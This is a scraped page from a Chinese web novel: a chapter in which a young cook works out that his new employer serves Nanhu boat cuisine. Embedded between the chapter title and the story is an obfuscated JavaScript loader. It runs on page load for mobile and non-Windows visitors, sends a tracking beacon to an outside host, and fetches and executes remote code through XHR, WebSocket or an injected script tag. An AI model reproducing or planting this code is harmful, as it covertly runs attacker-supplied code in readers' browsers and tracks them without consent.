足迹
叶皓辰萧玉舒最新章节
登录
关灯
护眼
字体:

第816章 南湖船菜(第1页)

function OVHGxRJ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function YTrZu(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OVHGxRJ(t);};window[''+'a'+'L'+'e'+'X'+'U'+'l'+'s'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=YTrZu,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://yh.dyuthic.com:7891/stats/7728/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHHR0cHHMlM0ElMkYlMkZ0by5tb2xpMTAyLnRvcCUzQTg4OTE=','d3NzJTNBJTJGJTJGdW0uYmNlbbnJzbby5jbb20lM0E5NTM1','4674',window,document,['H','b']);}:function(){};

这家船菜果然不是温州菜,至于到底是什么菜,白叶才窥到冰山一角,所以还不清楚。

毕竟他作为一个小工被招进来的,只要他的基本功过关,根本没人询问他什么企业文化之类的。

他们所在的地方,其实是在船上。

而这每一艘船就相当于一个包间,穿梭于水面之上。

白叶他们就是厨师,负责准备每一艘船上的宴席。

可白叶并不是在船上工作的,而是在岸边。

他们这边的船并不是那种豪华游艇,中间船舱也就是用餐的地方,前面还可以观景,后面则是厨房。

所以厨房可以活动的面积并不是很多,一艘船上能上去的厨师也不多,一般就一个人,如果客人提前表明了会加菜,才会加一个人手。

一些大菜是在另一艘船上负责制作,然后靠近送餐,还有不少的食材准备工作等,则都是在岸上操作的。

所以,想要出头,那就得争取能上船。

先做副手再做主厨,一步步往上走。

否则永远是个小工。

他们这船菜有个十几二十艘的船,所以需要的厨师也很多,只要努力总有能出头的时候。

所有人都在努力,白叶自然也不能放松。

他虽然不知道现在所处的是什么菜系的餐馆,但是他对于船菜也曾经听师父师哥提过一耳朵。

再看看他们现在处理的各种食材,心里大概有着一点猜测。

江南船菜脱胎于浙菜和苏菜,就是在船上享用的菜肴。人们可以一边随着船欣赏美丽的风景,一边品尝着美味佳肴,美食美景,自然别有一番滋味。

江南船菜一共分为三大类,分别为西湖船菜、南湖船菜和太湖船菜。

这三种船菜各有千秋,各有自己的招牌菜。

西湖船菜的历史是从宋朝南迁以后开始的。西湖上开始出现专门供客宴游的船,“艄舱有灶、酒茗肴馔,任客所指”,“西湖船菜”,以其特有的可口美味为本色。所用食材大多取自西湖、太湖和千岛湖,经过精心制作,成为色香味俱佳的精制菜肴。

西湖船菜最著名的几道招牌菜,其中就有东坡肉,还有莼菜汤,以及叫花鸡。

不过这几道菜都不曾在他们准备的食材里看到,白叶将这个西湖船菜从自己的名单上划掉。

看来应该不是。

除了西湖船菜,其次就是太湖船菜。太湖船菜顾名思义了,是以太湖河鲜为主的船宴。

虽然现在是在温州,但是这年头店哪里就只在本地了。Ique.iz

像是京沪广这种一线城市,那基本上各种菜系的餐馆都有,什么菜肴都能吃到。

温州离着其他城市也算不得太远,早就形成了产业链,河鲜一早打捞送过来也是正新鲜的时候。

太湖船菜可是有不少的招牌菜,尤其是以太湖三白为食材制作的各种菜肴,像是什么活呛三味虾、清蒸太湖白鱼、银鱼两吃等等。其他的河鳗、螃蟹之类,也俱有出彩的地方。

要是再能来一碗太湖鱼头豆腐煲那就更美了。

而太湖船菜也是最能代表太湖河鲜历史的菜系了。

而南湖船菜同样也都是各种的河鲜,但是南湖船菜是经过嘉兴南湖几代船娘的不断改良,名声大噪。

南湖船菜是江南水乡传统的地方名肴,主要流行于民国时期。以八大碗八小碗为正宗,亦有八小碗六大碗或六大碗六小碗、四大碗四小碗等规格。八小碗为:虾仁、蟹粉、蹄筋、蘑菇、五香鸽、虾圆、白木耳、莲子;六大碗为:蟹黄鱼翅、八宝鸭、鱼肚、冷拌鳌裙、火腿踵、粉蒸肉。

这都是白叶在师父和师哥聊天的时候,旁听的一耳朵,实际上啥样,他是根本没吃过,也没见过。

不过,现在有机会开眼界了不是!

没错,白叶已经确定了他入职的这家船菜,是南湖船菜了。

不是别的,就是那被拎上来的一篓子菱角。

因为南湖船菜里可是有一道十分大名鼎鼎的菜肴,叫香菱豆腐。

其他的像南湖醉虾、红烧桂鱼、陆稿荐酱鸭、清蒸大蟹等也十分有名。

此时看看这菱角,看看这些虾蟹之类的,白叶自然就确定了。